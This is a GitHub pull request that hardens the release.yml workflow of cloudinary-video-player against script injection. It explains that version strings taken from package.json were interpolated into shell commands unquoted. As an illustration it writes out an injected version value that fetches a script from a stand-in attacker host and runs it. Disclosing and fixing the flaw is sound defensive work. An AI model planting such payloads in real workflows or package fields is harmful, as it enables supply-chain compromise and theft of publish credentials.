Skip to content

fix(ci): move workflow expressions into env to prevent script injection in release.yml - #1075

Open
nathanmelamed-cloudinary wants to merge 1 commit into
masterfrom
security/harden-release-workflow-script-injection
Open

fix(ci): move workflow expressions into env to prevent script injection in release.yml#1075
nathanmelamed-cloudinary wants to merge 1 commit into
masterfrom
security/harden-release-workflow-script-injection

Conversation

@nathanmelamed-cloudinary

Copy link
Copy Markdown

What

Moves every ${{ }} expression out of run: script bodies in .github/workflows/release.yml and into step-level env:, referencing them as quoted shell variables instead.

No behaviour change. Same logic, same outputs.

Why

GitHub Actions substitutes ${{ }} into the script textually, before bash parses it. Any value containing shell metacharacters becomes code.

The reachable case is in publish-edge:

next_version=$(npx semver ${{ steps.get_version.outputs.current_version }} -i patch)

current_version is read straight out of package.json:

current_version=$(node -p "require('./package.json').version")

package.json is editable by anyone through a pull request. This repository is public. The workflow triggers on push to master, so a merged PR fires it.

A version string like 1.0.0"; curl https://attacker/x | sh; # is interpolated unquoted inside a command substitution and executes on the runner.

Blast radius: that runner step is in the same job as Publish to NPM, and the workflow grants contents: write and id-token: write. An attacker who lands code there can exfiltrate the npm publish credential and BOT_TOKEN, and push to this repository — a supply-chain path into every consumer of cloudinary-video-player.

The unquoted ${{ steps.get_next_version.outputs.version }} in the git rev-parse / git checkout / git push steps is the same class of bug and is fixed too.

Verification

  • release.yml parses as valid YAML; all 6 jobs intact
  • every run: body passes bash -n
  • zero ${{ }} expressions remain inside any run: block
  • no change to any if:, with:, outputs: or needs: expression — those are evaluated by Actions, not by the shell, and are safe where they are

Reported by

Wiz control wc-id-3141 "Publicly exposed high-privilege CI workflow vulnerable to script injection" (CRITICAL) and wc-id-3432 (CRITICAL, secrets access), on workflow 🚀 Release.

🤖 Generated with Claude Code

The release workflow interpolated ${{ }} expressions directly into run:
scripts. GitHub substitutes these textually before bash parses the script,
so any value containing shell metacharacters is executed.

The reachable case: publish-edge read the version string out of package.json
and interpolated it unquoted inside a command substitution:

  next_version=$(npx semver ${{ steps.get_version.outputs.current_version }} -i patch)

package.json is writable by any contributor via pull request. Once merged to
master the push trigger fires and the crafted version string runs as shell on
the runner - in the same job that holds the npm publish credential and
contents: write.

All ${{ }} expressions are moved out of run: bodies into step-level env and
referenced as quoted shell variables. No behaviour change.
@nathanmelamed-cloudinary
nathanmelamed-cloudinary requested a review from a team as a code owner July 29, 2026 09:49
@netlify

netlify Bot commented Jul 29, 2026

Copy link
Copy Markdown

Deploy Preview for cld-video-player ready!

Name Link
🔨 Latest commit 62d987a
🔍 Latest deploy log https://app.netlify.com/projects/cld-video-player/deploys/6a69ccc4b50c7400087068f5
😎 Deploy Preview https://deploy-preview-1075--cld-video-player.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

@netlify

netlify Bot commented Jul 29, 2026

Copy link
Copy Markdown

Deploy Preview for cld-vp-esm-pages ready!

Name Link
🔨 Latest commit 62d987a
🔍 Latest deploy log https://app.netlify.com/projects/cld-vp-esm-pages/deploys/6a69ccc4d636fb000830f1a6
😎 Deploy Preview https://deploy-preview-1075--cld-vp-esm-pages.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant